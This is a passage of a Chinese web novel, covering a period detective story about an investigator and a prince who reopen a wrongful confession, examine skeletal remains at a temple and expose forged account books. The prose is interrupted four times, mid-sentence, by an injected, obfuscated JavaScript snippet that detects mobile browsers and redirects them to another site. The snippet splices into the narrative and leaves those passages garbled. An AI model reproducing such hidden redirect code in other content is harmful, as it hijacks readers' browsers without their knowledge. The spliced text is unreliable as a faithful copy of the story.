李希言沉默了一会儿才说道:“那谢县令准备如何判定其所受的刑罚呢?” 她站起走到了谢荣面前。 一股无形的压迫冲击而来,谢荣忍不住往后退了一步。 “是……应该是故杀,但是因为是死者偷盗在先,所以会酌情判轻些,流放三千里。” 李希言皮笑肉不笑。 “谢县令可真是仁善。” 谢荣拿不准她的心思,不敢做声。 “那就,带本官去看看?”李希言抬了抬下巴,示意他看向一脸悲愤的韦鸢,“到底是答应了别人的事情。有些事,本官还是问清楚更好。” 谢荣哪里敢不应,只暗自叹息自己倒霉,面上还是一派恭敬地引着李希言一行人去了牢狱。 谢荣走在最前面引路 李希言落后几步,捏了捏韦鸢的手,小声嘱咐:“冷静,没问题。” 心里跳个不停的韦鸢按着心口,重重点了一下头。 她要相信李少使。 只是她真的不明白,为什么徐郎会突然认了罪? 李希言也有这个疑问。 而在看到徐令诚时,她的疑问更深了。 关押徐令诚的牢房还算干净,徐令诚更是很“体面”。 面色虽然白了些,但是没有受刑的痕迹,就连囚衣都很整洁。 在她的设想中,谢荣应该会对他动刑。 怎么会是这个样子! “徐郎!”韦鸢再也忍不住,扑了过去。 盘腿坐在地上的徐令诚背对着牢房,身影抖了抖又恢复了平静。 他,没有动。 牢门隔开了二人。 韦鸢以为他没有听到,依依地唤着。 “徐郎,徐郎。我找来了绣衣司的那位李少使为你洗冤!” 徐令诚的背影还是丝毫未动,没有人看得见他的表情。 李希言走上前拉起了韦鸢,安抚地拍了拍她的背,对着徐令诚的背影自顾自开了口。 “本官曾经有一位友人。出身世家,自小养尊处优。几年前,她嫁给了门当户对的一户人家。本官以为她会过得很好。她的夫君出身高贵,为人正派,家里连个妾室都没有。然而,就在去年,本官收到了她的死讯……” 她深深吸了一口气才继续说道:“她的婢女告诉本官,她是抑郁而亡,死的时候瘦得只剩下了一把骨头。原因也很简单。世家大族容不得满身鲜活气的人。” 容朗眼神微动。 那位王家六娘竟然是这样去世的…… 一番话说完,徐令诚有了一点点反应,他微微侧了侧头。 “你是要把韦鸢这样不爱拘束的性子推到深门大院中吗?你是聪明人,应该知道,什么样的生活才适合她。” 过了许久,徐令诚站起身转过头来,脸上已经满是泪。 他走上前,手抓在木栏杆上,深深地看着韦鸢。 “抱歉,我不该……” 韦鸢上前握住他的手,哭着摇头。 她的喉咙已经干得已经说不出话来。 即使是绣衣司的人也有些难受。 苦命鸳鸯! 容朗更是悄悄流了泪。 只有一旁的谢荣急得不行。 这是要翻供! 李希言出声打断了二人。 “既然你已经想开,那就好好交代一下你到底有没有杀人。” 徐令诚擦了擦泪,眼神坚定。 “在下没有杀人。那晚……那晚……”他的眼神飘忽了一下,“反正在下根本从来没有见到过死者。” 谢荣急忙呵问。 “那你的贴身玉佩怎么会在死者身上!” 徐令诚反应极快:“那玉佩在六年前就当掉了,不足以为证。” 谢荣接连发问:“可是有人亲眼所见,在死者死亡时间前后你有去过后山。而且,你自己也说不出你当时在何处!” “五年前的事情,记得清楚才奇怪。大人记得自己五年前每一日都去过哪里吗?” 谢荣被问得哑口无言。 不愧是出身贫寒亦能被中正官看上的好苗子。 仪容具美,君子翩翩,行止有度,敏捷达练。 李希言心想中正官当时所写的评言还真是贴切。 “李少使。”徐令诚说道,“在下与死者素昧平生,并无杀人动机。” 李希言故意问道:“那你之前为何要招供是自己杀了人?” 徐令诚近乎明示地看了谢荣一眼。 “草民生平头一次被搅到官司里,一时昏了头。” “你没经过这种事也实属正常。”李希言忽然转过头对着谢荣说道,“谢县令也没经过事?这种漏洞百出的供词也能拿来定案?凶器呢?动机呢?都没有!” “这……这……”谢荣结巴得说不出理由来。 “本官还以为是谁家找了谢县令说了什么话,商议要做什么一石二鸟之计!” 李希言勃然作色,一身慑人的气势压得谢荣汗出如浆。 他不停擦着汗,再也维持不住体面。 李希言清楚得很。 这个谢荣非要拿徐令诚顶罪,无非是因为背后韦家在作怪。 韦家出面以“接回韦鸢回去锦衣玉食”为条件交换徐令诚自愿顶罪。徐令诚死了,他们的女儿自然会死心。 而谢荣也能借势解决掉这个案子。 “好了。”李希言摆手。 谢荣这才找回了呼吸的感觉。 “这案子是谁在办,把人叫过来,本官亲自来教你怎么办案。” 谢荣已经来不及细品李希言的讽刺,立即回答道:“是,是下官手下的县尉,叫高修。” 谢荣还是没有勇气继续面对李希言。 他自己躲了起来,只让人叫着高修去了大堂。 大堂里,李希言高坐在正位,明明是一脸平静,却还是让人无端生出几分畏惧。 下首只坐着容朗。他倒是平时对外的样子,脸上挂着温和又疏离的笑。 高修是个魁梧的男子,此时整个人却慌得缩成了一团。 他也怕啊! “就你一个人来了?”李希言语气里带着明显的不满。 高修硬着头皮为谢荣解释:“这案子前期是下官一人督办,谢县令也不太了解内情。” “那你觉得……凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711370|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是徐令诚吗?” 李希言一句话就让高修觉得没法开口。 他踌躇了许久才试探着说道:“证据并不是特别充足……吧?” “那你们县令怎么之前给他定了罪?” 高修心里叫苦不迭。 内情如何他自然清清楚楚明明白白。 但是,他哪里敢说出来! 李希言像是明白他的顾虑似的,和颜悦色道:“大胆说。” 可高修还是嗫嚅着不敢开口。 谁敢得罪顶头上司啊! “高修。”李希言突然说道,“本官记得你做这个县尉都做了十年了吧?” 这话有些戳心窝子。 高修的脸色一下就变了,表情也显出几分狰狞。 他本事不差,但是出身不如谢荣,一直被他压制着。 绣衣使官位不高,权力却很大,废掉一个县令是很容易的…… 高修心里打起了算盘。 若拿这案子拉谢荣下水…… 反正徐令诚肯定是冤枉的! “县令说尽早结案对谁都好。”高修压低了声音,“定罪前,韦家人来了一趟。” “算你清醒。” “下官不过是实话实说。”高修胆子逐渐大了起来,“谢县令经常如此,下官位卑言轻,实在是……” 李希言饱含深意看了他一眼,又转头吩咐苗青。 “这案子后头还是谢荣办的,把他叫过来,一起问问。总不能让他躲过去。” 苗青应下立即跑去请人过来。 这一次,谢荣还是聪明了些,没有让人就等,很快就赶了过来。 他一进来,高修就心虚地让了让位置。 “下官见过李少使。” “高县尉。”李希言没有回应谢荣的问好,“讲讲案子。” 谢荣尴尬地自己站好。 高修压下心里的得意,装出往常的恭敬模样。 “是,李少使。六月十八那日早上,慈光寺的僧人自然前来报案,说是在寺庙后山发现了一具白骨。按照尸骨的白骨化程度判断,死者去世时间应该在五年以上。之后,在尸骨周边,属下发现了代表死者身份的证据,经过比对,确认了死者身份。” 他说着把卷宗呈上:“李少使请看。” 李希言不过看了一眼就皱起了眉。 死者身份有些特殊,他并不是什么普通人,而是本县县衙的小吏余绍。 高修补充道:“余绍在失踪前不慎摔断了下边的左起第二颗后槽牙,这和死者的情况吻合,余绍失踪时候三十二岁,死者的年龄也是三十岁左右。再加上尸骨旁边还有余绍的公验以及随身物品。所以,属下才敢断定死者就是余绍。” 李希言提出疑问:“好歹也是衙门的人,失踪了五年?” 站着的二人面露异色,最后还是谢荣站出来说道:“这个余绍,是户房管事的司吏,五年前巡按御史查出此人伪造账目,贪墨银两。就在要抓人前,不知为何走漏了风声,让他给跑了!” 高修也说道:“当时就是下官负责缉捕此人,可是一出城他就失了踪迹。” “这个慈光寺在何处?” “就在城外西边十里处。” 李希言起身:“那就带本官先去一趟慈光寺。” 14. 慈光普照 慈光寺坐落在半山腰上,整个寺庙藏在茂密的绿林中,依稀漏出几片红墙。 寺庙很小,但是因为其下有好几个村落,香火还算旺盛。 一行人进了寺庙挤了好一会儿才走到了大殿外,见到了慈光寺的主持。 慈光寺的主持是个干瘦的老和尚。 他正坐在大殿外的一个木桌旁给人把脉,木桌后的香客们排着长长的队列。 像是察觉到了来者,他写完药方抬起头,直直望向了李希言。 李希言这才发现这个老和尚年纪虽大,但是一双眼睛却很明亮。 老和尚看见一行人走过来,转头嘱咐旁边的僧人替换下他,而他自己缓缓走了过来,双手合十。 “阿弥陀佛,几位施主可是为了后山尸骨而来?” 谢荣和他熟悉些,介绍道:“慧空大师,这二位是长乐王和绣衣司的李少使。” “李少使?”慧空眼神一亮,“是李希言李少使?” 李希言有些意外与这位出家人的热切,回礼道:“正是。” 慧空畅快一笑:“没想到有生之年还能再见复朴高足!” 复朴是李希言师父的道号。 再见? 李希言回忆着自己是不是有见过此人。 “希言定然是不记得了。”慧空露出些不好意思的神情,“老衲当时患了病,比现在胖上不少。” 他这样一说,李希言还真记得国师府确实来过一个胖胖的老和尚,走路都有些不稳当,一晃一晃的。 “大师可是十二年前去的国师府?” “这孩子还真是一如既往的好记性。可惜,前几年令师羽化,老衲年迈也无法赶去送他最后一程,只能在佛前为他燃上一盏长明灯,以尽哀思。” “大师心意可越千山万水。” “阿弥陀佛。”慧空诵了一声佛号,“今日得见希言,可知自来的冤屈已经洗尽。” 在这位老者的眼里,他并没有把绣衣司当成什么虎狼,反而是解脱他徒儿的救星。 李希言微微颔首:“他本就无罪。劳烦大师带晚辈去看一看案发现场。” 谢荣心想这些大师都该忌讳这些,想要开口阻止。 可他还没来得及开口,慧空就一口答应了下来,还亲自带着一行人穿过大殿侧面,向后山走去。 李希言一边走一变打量着四周的环境。 寺庙的外墙十分低矮,很容易就能翻越,四处的僧人不多,也没有人看守。 “慧空大师,贵寺似乎很容易进出?” 慧空点头。 “慈光寺不甚富裕,除了香客们帮忙为佛像塑的金身,也没有什么好偷的,老衲就从来不管这些。更何况,我们这个寺庙只有吃食值得一偷,但若人真的难到了要盗窃食物的地步,又何必为难他呢?” 寺庙的建筑确实有些破旧,好多门的漆料都掉了,只是因为收拾得干净才显得不破败。 虽然二人对话并没有针对谁,但是谢荣却觉得脸上火辣辣的。 他之前给余绍安的就是盗窃的罪名。 也不知道这老和尚是不是故意的…… 高修见二人有渊源,急忙挤过去夸起了慧空。 “慧空大师是大慈悲,寺庙的香火钱大半都用于义诊了。” 一直没作声的容朗不满地看着他的靠近,不着痕迹挤开了他。 真是讨厌,流里流气的家伙! 高修察觉到了他眼神中冲着自己来的冷意,有些莫名,立即闭上了嘴。 又走了几步,一行人就到了后山。 后山风景极佳,一大片开阔的土地上零零星星种着绿油油的菜,墙边还有一个自山上流下的溪流汇聚成的池塘,生机盎然。 只是距离池塘不远处有个被挖开的坑很是破坏了这番意趣。 慧空指向那处:“缘自就是在那里发现的尸骨。” 一行人走上前。 坑挖得很浅。 李希言心中一直有个疑问。 “这里并非种植的土地,那日是怎么发现的尸骨?” 众人都愣了一下。 他们还真没问过! 慧空说道:“老衲让人把自然叫来问问。” 他转头吩咐了一位僧人去叫自然过来。 “自从案发后,老衲就禁止了其余人踏足,希言可以好好搜查一番。” 没想到慧空还有保护现场的意识。 李希言心下松了一大口气。 她最怕的就是隔了几日,被人破坏了现场。 最先要看的就是土坑。 李希言蹲在旁边观察了一下。 土坑周边的土壤不算肥沃,是黄色的,也很松软。 “高县尉,尸骨找全了吗?” “啊?”高修忽然被点名,吓得反应了一下才说道,“这……人都死了几年了,尸骨不全也是常理。” 李希言起身,不耐地瞥了他一眼:“没挖完。” 她微微抬起手指了指土坑周边,拿脚在地上划出一条线:“把这儿挖了,再找找。” “是,下官遵命。” 李希言说完就转过身:“那本官和慧空大师还有长乐王就先去休息一会儿,这儿就辛苦你们二人了。” 谢荣和高修对视一眼。 这是让他们俩人挖坑的意思! 二人不敢反抗,强忍着不满,拱手道:“下官遵命。” 三人慢步走远。 高修看向了谢荣。 “县令……” 谢荣背着手,昂着头。 “怎么?高县尉是想让本官亲自动手。” 高修被他这幅趾高气昂的样子气得脸色都青了。 可是屈居之下,他只能忍气吞声。 “哪里的话,下官怎么能让您动手。” 谢荣一甩袖子,哼了一声:“知道就好。”他阔步往树下的石椅走去,“别以为绣衣司的人来了,你就能反了天了。” 慧空带着二人去了附近的禅房休息,顺便还叫来了发现尸骨的自然。 自然看上去年纪尚小,也就十三四岁的模样,一说到那日发现尸体的事情他就怕得不行,脸色都白了几分。 “那日早上,我准备在池塘里打点水,忽然看见旁边的空地上长出了几根杂草。等我走近一看,那草的模样却很像地锦草,想到这东西能够止血,我就把那两根地锦草拔了出来,结果……没想到那东西的根生得极深,我一拔就带出了……一只人手的骨头……” 看来没有人去引导他发现尸骨,听上去更像是凑巧的。 李希言关心起了另外一个问题。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711371|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不过……这止血的地锦草是什么东西?” 自然一时不知道该怎么形容,急得满脸通红。 还是慧空说道:“原来令师书房门口不是有一颗柿子树吗?树下那一片一片的就是地锦草。那草里面常有小鸟跑来跑去。” 李希言一下就想了起来:“嗯……有次大师兄蹲在那里扯地锦草还摔得四仰八叉的?” 慧空忍俊不禁:“是有这么回事。” 容朗微微低下头,憋着笑,肩膀都在发抖。 国师看上去那么稳重的人摔成四仰八叉…… 李希言自觉失言。 怎么把师兄的糗事给说了出去! 她尴尬地喝了口茶,继续问道:“那后山平时可有谁去?” 自然答道:“庙里的人和香客都会去。我们每日都要在那里打水劳作,白日里,香客们也会在那里赏景。” “晚上有人吗?” 自解摇头:“没有啊,大家都睡得早,天一黑就睡了。” 也就是说,整个夜晚,寺庙的后山是谁都能进出。 也别怪每晚都要出去的徐令诚被怀疑。 问完了话,二人准备告辞。 知道他们事情忙,慧空也没有挽留,只和蔼地给二人一人拿了一个护身符。 容朗很意外自己也有份。 他和慧空可没关系啊。 慧空像是看出了他的疑问似的:“施主与佛有缘。” 李希言腹诽。 可不有缘吗?两年前还闹着要剃度出家呢。 容朗声音略略大声了些。 “大师说得好准。我幼时也曾经在寺庙待过几年,还是正经剃发了的呢。” 他一边说一边偷偷拿眼风瞟着李希言的反应。 他在漏题了啊——我小时候做过和尚! 然而,李希言连眉毛都没有动一下。 容朗失望极了,脸上的笑都变得苍白。 殊不知,李希言此时是故意绷着脸的。 她以为那段过去是他不堪的回忆,生怕自己露出什么不对的表情惹得对方不快。 到底,他是皇帝最宠爱的弟弟。 她没必要惹他。 “晚辈先告辞了,您先回去吧。” “老衲还想要问一事,不知自来……就是令诚他?” 李希言如实道:“他是被人陷害了,如今已经出了牢狱,但是他到底还有嫌疑,此时还不能离开,等事情了结,晚辈亲自送他回来。” 慧空点点头又摇摇头:“没事就好。回来,就不必了,他的缘分,到了。” 老和尚说完转身朝寺庙大门内走去。 李希言看着他的背影逐渐消失,手上有一下没一下地摸着马儿。 看慧空这话,她不禁猜测。 怕是徐韦二人的事情,慧空大师早就知情。 “咳……”容朗见她出神,提醒道,“我们不等一等谢荣和高修吗?” “等他们?”李希言解开缰绳,嘴角微微翘起,黑亮的眼珠一闪,似乎蕴着璀璨的星光。 容朗看得发痴,浅色的瞳孔染上了几分暗色。 “我们回去,不等他们。”李希言翻身上马。 “好……” “把马也牵回去。” “好……” 15. 骨伤 等二人回到府衙,用完饭,消完食的时候,谢荣和高修才带着剩余的尸骨赶了回来。 谢荣抹了一把头上的汗,气呼呼地问着守门的衙役:“李希言呢!” 衙役见鬼似的看了他一眼。 这是发什么疯,都敢直呼其名了? “在您安排的院子里。”看自家上司一脸控制不住的怒气,衙役提醒道,“属下按照您的吩咐,都小心伺候着呢。” 求您别上头,连累大家! 当头一棒,谢荣怒气消了大半。 他不过是世家旁支,还真惹不起这个女人! 但是,她也太过分了! 连人带马地跑了,害得他……搭的运家畜的车回来的! 到现在身上都还是一股子鸡臭味! “知道了!” 他一甩袖子就带着高修直接去了李希言的院子。 此时,李希言和容朗正在下棋。 对方棋艺比自己还臭,输了还不红脸。 她玩得很开心。 是以,即使看见讨厌的谢荣和高修气冲冲闯进来,她还好脾气地招了招手。 “二位回来了。” 明明对方的表情算得上和颜悦色,谢荣却还是心肝儿都颤了一下。 他忍不住瞄了一眼那双素白有力的手。 就是这双手,在四年前,直接屠掉了一个县衙九成的官吏…… 还有秦家上百口人…… 怒气瞬间被冻住。 谢荣打了个寒战,理智回笼。 他不再提今日的事情,一脸公事公办。 “下官和高县尉已经把尸骨找齐。” “真齐了?” 高修答道:“周边都挖开了,确实没有了。” “除了尸骨,可还找到了什么其他的东西。” “没……没有找到。” 李希言这才抬起头:“二位辛苦了,先回去休息吧。” 二人绷着的脸缓和下来。 “下官告退。” “等等。”李希言忽然出声道,“谢县令。” 谢荣僵硬地转过身,挤出一个笑。 “您吩咐就是。” 这女人又要搞什么! 李希言还看着棋盘,甚至还下了一枚棋,语气也漫不经心。 “今晚把让县衙户房的人把账册都整理出来给本官手下的关校尉。” 这是要查账! 谢荣鼻尖儿一下滴下了一滴汗。 还是高修镇定些。 “今晚就要吗?” “嗯。” “可……户房管事的司吏前几日就去了下面的乡走访了。今晚是肯定不在的。” “何时回来?”李希言放下棋子,转过头,幽幽地看着他,漆黑的眼眸深邃得让人摸不到底,“本官记得东曲县管辖的地方并不大,应该要不了多长时间吧?” 高修遍体生寒,哪里还敢再推脱,只老实回答道:“人是六月十五走的,按理说,最迟后日就会回来。” “太晚了,本官等不及。” 高修无奈地看了一眼谢荣。 谢荣也知这是推不掉了。 他只能咬着牙应下:“那下官亲自整理,今晚一定把账册交给关校尉。” 李希言挑眉:“谢县令……当真懂事。” 二人沉重地退了下去。 院内只剩下二人。 李希言才开口问道:“王爷会验骨吗?” 在喜欢的人面前表现自己是一码事,影响正事就是犯傻了。 容朗如实道:“我学验尸的时间不长,尸骨剩下的线索又最少,我不能保证能验出什么线索。” 李希言也不觉得失望。 很多时候,即使是技术绝佳的仵作都不一定能在只剩下骨头的尸体上验出什么。 “先看看吧。能验出多少是多少。” 容朗见她又沉默了起来,决定主动出击。 “李少使不好奇我为何要学验尸?” 李希言微微怔住。 她确实很好奇,不问是因为…… 眼前的人生了一副好皮相。 笑起来的时候看着很是亲切。 但是…… 她并不会忘记对方的身份——皇子。 什么事情牵扯到了皇室,她都不愿意多言。更何况是这种极其异常的事情。 知道得越多越危险。 “下官不喜欢管他人的事情。” “是两年前。”容朗浅色的瞳孔中满是认真,其下涌动着澎湃的暗流,他再次重复,语气中却带了几分不易察觉的小心翼翼,“两年前开始学的。” “两年前?”李希言神色微动。 容朗见状心一下提了起来。 “那王爷还真是天赋异禀。”李希言是真心夸赞他,没有奉承的意思。 绣衣司里面的仵作都是自小学这个的,她知道仵作之道难度极高。 对方学了两年就能做基本的验尸也算是天才了。 容朗勉强扯了扯嘴角,眼睛微微闭了闭。 “李少使谬赞了。” 埋头看着棋局的李希言并未发现对方的异常。 “我是说真的。我从未见过听说过谁学两年就能到这种程度的。” 她抬起头,黑瞳中满是认真。 容朗心里突然发慌乱跳,不由避开了她的视线。 怎么还脸红了? 李希言不禁露出一个极浅的笑。 还真像啊。 或许是今日才进过寺庙,她总想起她幼时认识的那个小和尚。 尤其是刚刚对方脸红的模样,让她鬼使神差一般想到了小和尚,只是小和尚黄黄瘦瘦的,长得没有这么好看…… “你们……在干嘛啊。” 月色正好,搅局者却忽然出现。 瑞王丝毫没有感觉到诡异的气氛,揉着通红的双眼就一屁股坐到了二人中间。 容朗脸上的红晕瞬间退去。 这孩子怎么越大越讨人嫌! 李希言也立即摆出了严肃的面孔。 她在瑞王面前,向来如此。 只有这样,才压制得住这个皮猴子。 “李夫子。”瑞王今日乖巧异常,语调都软绵绵的。 李希言却默不作声地挺直了背。 破孩子又要做什么妖? 她冷淡应了一声:“嗯。” 瑞王往前凑了凑:“今日我和徐令诚说了好一会儿话。” “嗯。” “不仅好文采,对政事也很有见地。原来阿爹总说要搞什么科举制,我不理解,觉得这样会不会让人读死书,可是今日和徐令诚说完话,我却不这样想了。” 他很少有这样正经的时候。 二人都侧过身面对着他,耐心等着他的下文。 “这些世家……是毒瘤。他们通过中正官控制了朝廷选材的途径,阻断了其余人上升路径,长此以往……这朝廷到底是我容家的?还是他们世家的?” 瑞王稚嫩的脸上现出几分杀意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711372|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你清楚就好。徐令诚与韦鸢之事不过只是其中最微不足道的一方面。” 瑞王一下蔫儿了下去。 “可是该怎么办呢?” 即使是父亲也无法直接拔除世家势力。 “记住一点。”李希言摸了摸他的头,“兵权。兵权永远是最重要的。剑在你手,你就是王,再厉害的世家子,脖子也是肉做的,一刀下去就是死。其余的都只是手段。” 容朗也附和道:“皇兄能够推行新政,扶持寒门庶人,也是因为他本身就握有极大的兵权。这其中调兵遣将,权力制衡才是最重要的。” “知人善任,平衡各方?”瑞王记得原来读书时,夫子讲的内容。 李希言调侃道:“越少使要是知道你还记得他的授课内容一定会去护国寺烧香拜佛斋戒七日。” 越少使越望也是绣衣司的绣衣使者,资历比李希言更深些。 他本人是个不信鬼神之人。 “李夫子!”瑞王当然知道自己是被调侃了,气得直拍桌子,“我认真的啊!” “好好好,你认真的。”容朗拉住他的手,“你说这些是想做什么?” 瑞王沉默了一下才说道:“远的不说,就说近的这事儿……徐令诚和韦鸢怎么办?他们总不能一直这样下去吧?” “这事儿你别操心。”容朗率先说道,“我已经修书给皇兄。” “动作这么快?”瑞王狐疑地看着他,“你什么时候喜欢管别人的事了?” 容朗假装不经意扫了一眼一旁的李希言。 “你不懂。” 李希言莫名有些不自在,她清了清嗓子:“时间不早了,小孩子该睡觉了,不然会长不高。” “李夫子我比你高好不好!” “你要是个小姑娘,那我无话可说。” 第二日一早,容朗就指挥着人准备验尸。 验骨难就难在皮肉的消失导致信息缺乏,很少有什么伤口证据能在人的骨骼上留下痕迹。 所以,第一步就是要找出骨骼上残留的痕迹。 而要在骨骼显露痕迹就要用一些特殊手段——蒸骨。 验尸房外本就有个蒸骨用坑,可以直接拿来用。 衙役们往烧得滚烫的土坑里泼下酒醋。 酒醋“滋”的一下挥发成了白烟。 就趁着此时,将尸骨飞快地抬下去又盖上草席即可。 天儿本就热,再加上热气熏蒸,衙役们弄好了都躲到了房檐下乘凉。 只剩下容朗一个人孤零零地坐在草棚下。 日头越发毒辣,一个黑色的身影慢慢走了过来。 容朗眼睛一亮,脸上的郁郁一扫而光。 他疾步迎上去。 “李少使,你怎么来了?” “来看看。”李希言再怕尸体,也不想因此而失了本分。 她环顾四周:“怎么你一个人在这儿?县衙的仵作呢?” “病了,说是前几日就被热出了病来,一直起不了身。” 李希言鼻子皱了皱:“没有仵作……” 那岂不是之前连尸都没有验就定罪了? 她暗自记下新的弹劾理由。 见她脸色不对,容朗问道:“怎么了?” “没什么。”李希言对他比往日直爽许多,“只是在想着怎么写弹劾的折子。” 容朗忍不住咧开了嘴角。 谢荣知道一定会哭死。 头顶被晒得有些发烫,二人自觉地坐回了草棚下,等待着验尸的结果。 16. 账册 “少使!”关风和风风火火地拿着一厚摞账册走过来。 账册摇摇晃晃,像是下一刻就要掉下来。 李希言看她急躁,连忙起身接住账册。 “急什么?这么热的天,我也不急着要结果。” “王爷也在?” “关校尉好。”容朗和善地点点头。 关风和朝着容朗行完礼,擦了擦汗,自己坐了下来,笑得促狭。 “哪里是我急,是谢县令太急,昨儿半夜,他亲自跑来送的。”她拍了拍账册,“看见他老人家为了公事如此废寝忘食,我良心不安呢。” 李希言看着她眼下的乌青,给她倒上一盏茶。 “所以,你就连夜把账册看了?” “正是。”关风和翘起腿,喝了一口茶,“都没有问题,账本都对得上。” 李希言一脸不信。 “怎么?你连我都不信?”关风和捂住心口唱念做打,“我为少使出生入死,却无端被疑,我的命好苦……” 李希言立即打断她。 “正常复核。你要是嗓子又痒了就自己去找个地儿唱戏。” “好无情。” 李希言翻开几本账册草草扫了一眼:“这是他昨晚给你所有的账册?” “是啊!从泰平十一年开始的,他说五年前,那个余绍一把火烧了以前的账本,所以现在县衙里只有这五年来的账册了。” 李希言挑出两本账册朝她的方向推了过去。 “假的。” “假的?怎么可能?我怎么会算错!”关风和虽是江湖上混日子的人,但是其出身却是正经的官宦世家。 她的父亲曾经官拜户部右侍郎,是出了名的“关算盘”。 可惜…… 先帝一朝,奸佞当道,性格正直的“关算盘”很快就被人陷害,死在了大狱中。 没了男主人,关家其他人也被奸佞赶尽杀绝,最后只剩下一个在外习武未归的关风和。 而关风和恰巧就继承了她父亲在算学上的天赋。 这也是李希言外出巡察时都会带着她的原因。 这世上没有关风和看不出来的假账。 可是今日,李希言却斩钉截铁地说这些账册全是假的? 关风和快速翻了两页,连连摇头:“没问题啊……” “账目没有问题。”李希言随手翻开另外一本账册,指着上面的墨迹解释,“墨迹不对。” 关风和凑近看了半晌还是没发现有什么不对。 李希言又翻开几本给她比对。 “这两本账册相隔四年时间,墨迹新旧程度却完全一样,明显是同一时间段书写的。” “这个天杀的!”关风和气得锤了一下桌子,“拿假的来糊弄我!” “你去让苗青把真的偷出来,我觉得……真账册很重要。”李希言凝望着火坑上白烟,心思百转。 日光强烈得刺眼,正是验骨的好时候。 尸骨被抬在阳光下,一个衙役撑开一把红色油纸伞罩住了尸骨。 阳光透过油纸伞漏下,照射在白森森的尸骨上。 一瞬间,白色的骨骼上凭空出现了几丝细长的血影。 容朗弯下腰。 “死者的颈部柱骨第五节有一处骨折,左手小臂有一处骨折,左手小指节也有一处骨折,都是生前伤。” 好奇怪的受伤部位。 容朗补充道:“他的其余骨骼都是正常的,没有任何受伤痕迹。” 李希言犯了难:“这是完全无法判断死因?” “有一种可能。颈部骨骼虽然容易受伤,但是这些伤一定是外力导致的。死者有可能死于颈部骨骼骨折导致的猝死。” 稍微力气大一点的人,一个手刀都有可能劈死人。 尸骨上的线索算是断了! 李希言没有放弃:“把物证都拿来。” 伴随着尸骨的出现的还有很多死者的生前之物。 衙役们很快就端着物证过来。 物证不多。 有一枚玉佩还有几枚散碎银两以及死者的公验等随身物品。 公验的纸张已经非常残破,但是还能依稀看见不少内容。 上面写着余绍的信息。 户房司吏。 这事情还是要追溯到余绍当年所犯下的罪行以及他的失踪 “叫高修过来。” 高修今日的形容有些萎靡,双眼无神,眼下一片青黑,连声音都有气无力。 “下官见过王爷,见过李少使。” 李希言心中推测。 应该是昨夜又被谢荣拉去当苦力了。 “今日叫你来,是想详细问一当年余绍之事。” “余绍啊……”高修的喉咙动了动,露出几分为难的神色。 “怎么?不能说?” 高修憋红了脸:“下官原来和余绍关系不错,不知该如何说……这余绍,人不错的。下官到现在都弄不明白他怎么突然就突然间……做出那等事来。” “你如实说即可。” 高修这才说道:“当时他做假账的事情是王御史查出来的。我们一查出来,马上就去抓人了,可是他先一步逃出了县城。我带着几个弟兄追踪了半个月,愣是没找到一点儿痕迹。后来,我们就回来了,县令也没法子只好让人发了海捕文书。” “那他最后一次出现在何处?” “就在……”高修脸色一变,“慈光寺附近……” “余绍家中可还有亲人?” “没有,他爹娘早死了,也一直没娶亲。” 李希言紧紧皱起了眉。 这案子一点儿线索都没有啊…… “李少使?”高修小心翼翼地喊道。 李希言回过神:“说。” “其实有个疑点。” “什么疑点?” 高修试探着说道:“当时余绍离开时应该随身携带了不少金银,这些金银都没了,您说会不会是他遇上了附近的土匪?” “土匪?” 李希言还真没想到这个可能。 “是啊!慈光寺附近的山里土匪不少,时常抢劫来往之人。” “这样吧,你去重点排查一下寺庙的所有人以及那些土匪……尽早抓起来。” 高修眼珠子转了转:“李……李少使……那些土匪不太好抓。” 李希言淡淡地瞟了他一眼,直接戳穿他:“嗯……一个地界的土匪嚣张了数年却还是没被剿灭,你说他们背后会不会有什么人在?” 高修立刻打断道:“下官明白!下官这就去办。” “欠。”李希言看着高修急匆匆的背影,蹦出一个字。 “那尸骨有些异常。”一直没开腔的容朗忽然开口。 “什么异常?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711373|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容朗思量了一二才说道:“那尸骨摸起来很粗糙。” “部分骨骼本来就是如此。” “不一样。尸骨的关节处都是粗糙的,而且那种粗糙就像……就像是……” 